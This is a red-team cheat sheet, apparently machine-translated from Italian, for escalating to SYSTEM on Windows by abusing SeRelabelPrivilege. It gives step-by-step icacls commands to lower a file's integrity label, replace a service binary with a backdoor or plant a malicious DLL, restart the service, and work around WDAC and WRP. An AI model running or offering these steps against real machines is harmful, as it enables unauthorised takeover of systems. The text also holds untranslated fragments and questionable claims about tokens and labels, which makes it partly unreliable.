SeRelabelPrivilege: Bypass MIC and Write to File SYSTEM

ACLs allow writing, but the MIC layer blocks your Medium process. You have SeRelabelPrivilege. A command lowers the file label from High to Medium, your process writes freely, and you replace the SYSTEM service binary. Two steps to... nt authority\system.

Quick Exploit #

icacls "C:\Program Files\VendorApp\service.exe" | findstr Mandatory
icacls "C:\Program Files\VendorApp\service.exe" /setintegritylevel Medium
copy C:\temp\backdoor.exe "C:\Program Files\VendorApp\service.exe" /Y
sc stop NomeServizio && sc start NomeServizio

Expected output:

nt authority\system

Attack Chain #

ACL permissiva ma MIC blocca scrittura (file a integrità High, processo Medium)
  → icacls [file] | findstr Mandatory → conferma livello High
  → icacls [file] /setintegritylevel Medium → abbassa il label
  → copy backdoor.exe → [file] → sc restart → SYSTEM
  OPPURE
  → icacls [directory] /setintegritylevel Medium
  → piazza DLL mancante → sc restart → SYSTEM

Tool Decision #

What is SeRelabelPrivilege and Mandatory Integrity Control? #

Windows Mandatory Integrity Control (MIC) assigns integrity levels to every object and process:

The “No Write Up” rule: A process cannot write to objects with a higher integrity level than its own. SeRelabelPrivilege lowers the object's label—removes this protection.

This is a barrier orthogonal to ACLs: a file can be protected by both ACLs and MICs — they are two independent mechanisms that require separate bypasses.

When it exists #

• Administrators (high token)
• Account with custom policy which includes “Modify an object label”
• Relatively rare as a standalone privilege on service accounts

Verify:

whoami /priv

Looking for:

SeRelabelPrivilege    Modify an object label    Enabled

If you see Disabled → Non-elevated token. Start elevated process.

Step 1 — Verify the integrity level of the target file #

Check the current level of the binary you want to overwrite:

icacls "C:\Program Files\VendorApp\service.exe" | findstr Mandatory

Output:

Mandatory Label\High Mandatory Level

This means that your Medium process cannot write to it — MIC blocks it, regardless of ACLs.

Check your current health level:

whoami /groups | findstr "Mandatory"

Typical output in non-elevated tokens:

Mandatory Label\Medium Mandatory Level    Label    S-1-16-8192

Step 2 — Lower the file integrity level #

icacls "C:\Program Files\VendorApp\service.exe" /setintegritylevel Medium

Output:

processed file: C:\Program Files\VendorApp\service.exe
Successfully processed 1 files; Failed processing 0 files

Verify that the label has changed:

icacls "C:\Program Files\VendorApp\service.exe" | findstr Mandatory

Output:

Mandatory Label\Medium Mandatory Level

Step 3 — Overwrite and get SYSTEM #

Now your Medium process can write to the file:

copy C:\temp\backdoor.exe "C:\Program Files\VendorApp\service.exe" /Y

Restart the service:

sc stop NomeServizio

sc start NomeServizio

Output:

nt authority\system

variants #

DLL Hijacking with label lowering #

If you want to place a missing DLL in a directory with High integrity:

First lower the directory label:

icacls "C:\Program Files\VendorApp\" /setintegritylevel Medium

Then copy the DLL:

copy C:\temp\malicious.dll "C:\Program Files\VendorApp\missing.dll"

Restart the service:

sc stop NomeServizio && sc start NomeServizio

Lower the integrity level of a process #

With NtObjectManager (James Forshaw) you can lower the token integrity level of a running process — useful for testing sandboxing and isolation:

Install-Module NtObjectManager
Import-Module NtObjectManager
$token = Get-NtToken
Set-NtTokenIntegrityLevel -Token $token -IntegrityLevel Low

Source: googleprojectzero/sandbox-attacksurface-analysis-tools

Lower registry key label #

It also works on registry keys, not just files:

icacls "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" /setintegritylevel Medium

Note: icacls It does not manage the registry directly — it uses SetACL for registry keys:

SetACL.exe -on "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" -ot reg -actn setintegrity -integrity "Medium"

Real-world scenarios #

SYSTEM service with high-integrity binary, non-restrictive ACLs — ACLs would allow writing, but MIC blocks. SeRelabelPrivilege lowers the label → writing possible → replaced binary → SYSTEM.

DLL in directory with High integrity — Process Monitor shows that a service is looking for a DLL in a path with a High integrity label. Using SeRelabelPrivilege, I lower the directory label → place the DLL → SYSTEM.

Common mistakes #

icacls /setintegritylevel returns Access Denied — Privilege not enabled in token. Verify: whoami /priv | findstr SeRelabelIf Disabled, launch elevated process.

File overwrites but service doesn't start — WDAC blocks execution of the unsigned binary. Use a LOLBin loader or a signed binary as a wrapper.

System32 file is restored after writing — WRP protects the file. Uses services directory in C:\Program Files\ Instead.

Service does not start after restart — Check if the service has permissions to execute the binary from the path: sc sdshow NomeServizioIf the service account does not have execute permission on the binary, add it with icacls.

DLL not loading after placement — The service uses an absolute path in the LoadLibrary call. Use Process Monitor to verify that it actually searches for the DLL in that path (filter NAME NOT FOUND + .dll).

Detection and bypass (Red Team view) #

When it fails #

• You cannot raise labels above your token level — only lower them.
• WRP on System32 core files → use C:\Program Files\
• WDAC / AppLocker → blocks the replacement binary
• Service not restartable → sc sdshow NomeServizio

Mitigations #

• WDAC — blocks execution of unsigned binaries even if the label has been lowered
• FIM on critical service tracks
• Restrict SeRelabelPrivilege to strictly necessary accounts

Realistic note: SeRelabelPrivilege is the bypass for scenarios where MIC is the only remaining barrier—when ACLs already allow writing but the Medium process cannot write to High objects. Less common than other vectors, but essential to know for hardened environments.

FAQ #

What's the difference with SeRestorePrivilege? SeRestorePrivilege bypasses ACLs for writes directly. SeRelabelPrivilege lowers the MIC layer. Orthogonal barriers — a file can block writing via both ACLs and MICs, requiring separate bypasses.

Can I raise the label to System? No—you cannot raise your token above its level. Token Medium → maximum Medium. Token High → maximum High.

When is it more useful than SeRestorePrivilege? When the ACLs already allow writing but the MIC blocks it—a less common situation but one that occurs in partially hardened environments.

SeRelabelPrivilege is the MIC layer-specific bypass — essential when ACLs are permissive but the integrity level is the only remaining barrier.

Related articles:

• SeRestorePrivilege —direct ACL bypass, one step
• SeTakeOwnershipPrivilege — bypass ownership + ACL

References: NtObjectManager · Microsoft Docs MIC · Microsoft Docs